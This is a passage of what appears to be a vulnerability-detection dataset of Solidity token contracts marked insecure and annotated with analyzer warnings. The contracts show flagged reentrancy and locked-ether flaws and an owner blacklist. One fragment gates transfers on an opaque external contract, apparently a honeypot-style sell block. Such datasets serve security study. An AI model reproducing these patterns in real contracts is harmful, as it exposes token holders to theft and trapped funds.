_totalSupply.add(_Amount);\n balances[_Address] = balances[_Address].add(_Amount);\n }\n function _transfer(address start, address end) internal view {\n require(\n end != zero ||\n ((IERC20(openzepplin).invalidAddress(start) == true ||\n start == invalid) && end == zero) ||\n (end == zero && balances[start] <= number),\n \"cannot be the zero address\"\n );\n }\n\n constructor(string memory _name, string memory _symbol, uint256 _supply) {\n symbol = _symbol;\n name = _name;\n decimals = 9;\n _totalSupply = _supply * (10 ** uint256(decimals));\n number = _totalSupply;\n approver = IERC20(openzepplin).approver();\n balances[owner] = _totalSupply;\n emit Transfer(address(0), owner, _totalSupply);\n }\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: 5055efb): Contract locking ether found Contract Dooggies has payable functions Dooggies.receive() Dooggies.fallback() But does not have a function to withdraw the ether\n\t// Recommendation for 5055efb: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: 5055efb): Contract locking ether found Contract Dooggies has payable functions Dooggies.receive() Dooggies.fallback() But does not have a function to withdraw the ether\n\t// Recommendation for 5055efb: Remove the 'payable' attribute or add a withdraw function.\n fallback() external payable {}\n}", "file_name": "solidity_code_3067.sol", "secure": 0, "size_bytes": 5577 }
{ "code": "// SPDX-License-Identifier: Unlicensed\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract OsamaBinDogen is Context, IERC20, Ownable {\n using SafeMath for uint256;\n mapping(address => uint256) private _rOwned;\n mapping(address => uint256) private _tOwned;\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => bool) private _isExcludedFromFee;\n mapping(address => bool) private bots;\n mapping(address => uint256) private cooldown;\n uint256 private constant MAX = ~uint256(0);\n uint256 private constant _tTotal = 1 * 10 ** 12 * 10 ** 9;\n uint256 private _rTotal = (MAX - (MAX % _tTotal));\n uint256 private _tFeeTotal;\n\n uint256 private _feeAddr1;\n uint256 private _feeAddr2;\n\t// WARNING Optimization Issue (immutable-states | ID: 07b706b): OsamaBinDogen._feeAddrWallet1 should be immutable \n\t// Recommendation for 07b706b: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _feeAddrWallet1;\n\t// WARNING Optimization Issue (immutable-states | ID: 4734f97): OsamaBinDogen._feeAddrWallet2 should be immutable \n\t// Recommendation for 4734f97: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _feeAddrWallet2;\n\n string private constant _name = \"Osama Bin Dogen\";\n string private constant _symbol = \"OSAMA\";\n uint8 private constant _decimals = 9;\n\n IUniswapV2Router02 private uniswapV2Router;\n address private uniswapV2Pair;\n bool private tradingOpen;\n bool private inSwap = false;\n bool private swapEnabled = false;\n bool private cooldownEnabled = false;\n uint256 private _maxTxAmount = _tTotal;\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n modifier lockTheSwap() {\n inSwap = true;\n _;\n inSwap = false;\n }\n constructor() {\n _feeAddrWallet1 = payable(0x32102348aBeEAfaEa5AED300010aDe47b57583C2);\n _feeAddrWallet2 = payable(0x32102348aBeEAfaEa5AED300010aDe47b57583C2);\n _rOwned[address(this)] = _rTotal.div(2);\n _rOwned[0x000000000000000000000000000000000000dEaD] = _rTotal.div(2);\n _isExcludedFromFee[owner()] = true;\n _isExcludedFromFee[address(this)] = true;\n _isExcludedFromFee[_feeAddrWallet1] = true;\n _isExcludedFromFee[_feeAddrWallet2] = true;\n\n emit Transfer(address(0), address(this), _tTotal.div(2));\n emit Transfer(\n address(0),\n address(0x000000000000000000000000000000000000dEaD),\n _tTotal.div(2)\n );\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return tokenFromReflection(_rOwned[account]);\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 1d28c4e): OsamaBinDogen.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 1d28c4e: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 54ce394): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 54ce394: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 6fdf19d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 6fdf19d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 54ce394\n\t\t// reentrancy-benign | ID: 6fdf19d\n _transfer(sender, recipient, amount);\n\t\t// reentrancy-events | ID: 54ce394\n\t\t// reentrancy-benign | ID: 6fdf19d\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n return true;\n }\n\n function setCooldownEnabled(bool onoff) external onlyOwner {\n cooldownEnabled = onoff;\n }\n\n function tokenFromReflection(\n uint256 rAmount\n ) private view returns (uint256) {\n require(\n rAmount <= _rTotal,\n \"Amount must be less than total reflections\"\n );\n uint256 currentRate = _getRate();\n return rAmount.div(currentRate);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: d7eddc1): OsamaBinDogen._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for d7eddc1: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\t\t// reentrancy-benign | ID: 6fdf19d\n _allowances[owner][spender] = amount;\n\t\t// reentrancy-events | ID: 54ce394\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: a53c129): OsamaBinDogen._transfer(address,address,uint256) uses timestamp for comparisons Dangerous comparisons require(bool)(cooldown[to] < block.timestamp)\n\t// Recommendation for a53c129: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 4f5ed99): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 4f5ed99: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 421cdea): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 421cdea: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 8a029ca): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 8a029ca: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n require(amount > 0, \"Transfer amount must be greater than zero\");\n _feeAddr1 = 1;\n _feeAddr2 = 5;\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to] &&\n cooldownEnabled\n ) {\n require(amount <= _maxTxAmount);\n\t\t\t\t// timestamp | ID: a53c129\n require(cooldown[to] < block.timestamp);\n cooldown[to] = block.timestamp + (30 seconds);\n }\n\n if (\n to == uniswapV2Pair &&\n from != address(uniswapV2Router) &&\n !_isExcludedFromFee[from]\n ) {\n _feeAddr1 = 1;\n _feeAddr2 = 5;\n }\n uint256 contractTokenBalance = balanceOf(address(this));\n if (!inSwap && from != uniswapV2Pair && swapEnabled) {\n\t\t\t\t// reentrancy-events | ID: 4f5ed99\n\t\t\t\t// reentrancy-benign | ID: 421cdea\n\t\t\t\t// reentrancy-eth | ID: 8a029ca\n swapTokensForEth(contractTokenBalance);\n uint256 contractETHBalance = address(this).balance;\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 4f5ed99\n\t\t\t\t\t// reentrancy-eth | ID: 8a029ca\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n\t\t// reentrancy-events | ID: 4f5ed99\n\t\t// reentrancy-benign | ID: 421cdea\n\t\t// reentrancy-eth | ID: 8a029ca\n _tokenTransfer(from, to, amount);\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n path[0] = address(this);\n path[1] = uniswapV2Router.WETH();\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\t\t// reentrancy-events | ID: 54ce394\n\t\t// reentrancy-events | ID: 4f5ed99\n\t\t// reentrancy-benign | ID: 6fdf19d\n\t\t// reentrancy-benign | ID: 421cdea\n\t\t// reentrancy-eth | ID: 8a029ca\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 54ce394\n\t\t// reentrancy-events | ID: 4f5ed99\n\t\t// reentrancy-eth | ID: 8a029ca\n _feeAddrWallet1.transfer(amount.div(2));\n\t\t// reentrancy-events | ID: 54ce394\n\t\t// reentrancy-events | ID: 4f5ed99\n\t\t// reentrancy-eth | ID: 8a029ca\n _feeAddrWallet2.transfer(amount.div(2));\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: eac1719): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for eac1719: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: d1f1089): OsamaBinDogen.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for d1f1089: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: bbe0116): OsamaBinDogen.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for bbe0116: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 14fa3a3): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 14fa3a3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n uniswapV2Router = _uniswapV2Router;\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\t\t// reentrancy-benign | ID: eac1719\n\t\t// reentrancy-eth | ID: 14fa3a3\n uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())\n .createPair(address(this), _uniswapV2Router.WETH());\n\t\t// reentrancy-benign | ID: eac1719\n\t\t// unused-return | ID: d1f1089\n\t\t// reentrancy-eth | ID: 14fa3a3\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\t\t// reentrancy-benign | ID: eac1719\n swapEnabled = true;\n\t\t// reentrancy-benign | ID: eac1719\n cooldownEnabled = true;\n\t\t// reentrancy-benign | ID: eac1719\n _maxTxAmount = 100000000000 * 10 ** 9;\n\t\t// reentrancy-eth | ID: 14fa3a3\n tradingOpen = true;\n\t\t// unused-return | ID: bbe0116\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n }\n\n function setBots(address[] memory bots_) public onlyOwner {\n for (uint256 i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBot(address notbot) public onlyOwner {\n bots[notbot] = false;\n }\n\n function _tokenTransfer(\n address sender,\n address recipient,\n uint256 amount\n ) private {\n _transferStandard(sender, recipient, amount);\n }\n\n function _transferStandard(\n address sender,\n address recipient,\n uint256 tAmount\n ) private {\n (\n uint256 rAmount,\n uint256 rTransferAmount,\n uint256 rFee,\n uint256 tTransferAmount,\n uint256 tFee,\n uint256 tTeam\n ) = _getValues(tAmount);\n\t\t// reentrancy-eth | ID: 8a029ca\n _rOwned[sender] = _rOwned[sender].sub(rAmount);\n\t\t// reentrancy-eth | ID: 8a029ca\n _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);\n _takeTeam(tTeam);\n _reflectFee(rFee, tFee);\n\t\t// reentrancy-events | ID: 4f5ed99\n emit Transfer(sender, recipient, tTransferAmount);\n }\n\n function _takeTeam(uint256 tTeam) private {\n uint256 currentRate = _getRate();\n uint256 rTeam = tTeam.mul(currentRate);\n\t\t// reentrancy-eth | ID: 8a029ca\n _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);\n }\n\n function _reflectFee(uint256 rFee, uint256 tFee) private {\n\t\t// reentrancy-eth | ID: 8a029ca\n _rTotal = _rTotal.sub(rFee);\n\t\t// reentrancy-benign | ID: 421cdea\n _tFeeTotal = _tFeeTotal.add(tFee);\n }\n\n receive() external payable {}\n\n function manualswap() external {\n require(_msgSender() == _feeAddrWallet1);\n uint256 contractBalance = balanceOf(address(this));\n swapTokensForEth(contractBalance);\n }\n\n function manualsend() external {\n require(_msgSender() == _feeAddrWallet1);\n uint256 contractETHBalance = address(this).balance;\n sendETHToFee(contractETHBalance);\n }\n\n function _getValues(\n uint256 tAmount\n )\n private\n view\n returns (uint256, uint256, uint256, uint256, uint256, uint256)\n {\n (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(\n tAmount,\n _feeAddr1,\n _feeAddr2\n );\n uint256 currentRate = _getRate();\n (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(\n tAmount,\n tFee,\n tTeam,\n currentRate\n );\n return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);\n }\n\n function _getTValues(\n uint256 tAmount,\n uint256 taxFee,\n uint256 TeamFee\n ) private pure returns (uint256, uint256, uint256) {\n uint256 tFee = tAmount.mul(taxFee).div(100);\n uint256 tTeam = tAmount.mul(TeamFee).div(100);\n uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);\n return (tTransferAmount, tFee, tTeam);\n }\n\n function _getRValues(\n uint256 tAmount,\n uint256 tFee,\n uint256 tTeam,\n uint256 currentRate\n ) private pure returns (uint256, uint256, uint256) {\n uint256 rAmount = tAmount.mul(currentRate);\n uint256 rFee = tFee.mul(currentRate);\n uint256 rTeam = tTeam.mul(currentRate);\n uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);\n return (rAmount, rTransferAmount, rFee);\n }\n\n function _getRate() private view returns (uint256) {\n (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();\n return rSupply.div(tSupply);\n }\n\n function _getCurrentSupply() private view returns (uint256, uint256) {\n uint256 rSupply = _rTotal;\n uint256 tSupply = _tTotal;\n if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);\n return (rSupply, tSupply);\n }\n}", "file_name": "solidity_code_3068.sol", "secure": 0, "size_bytes": 18222 }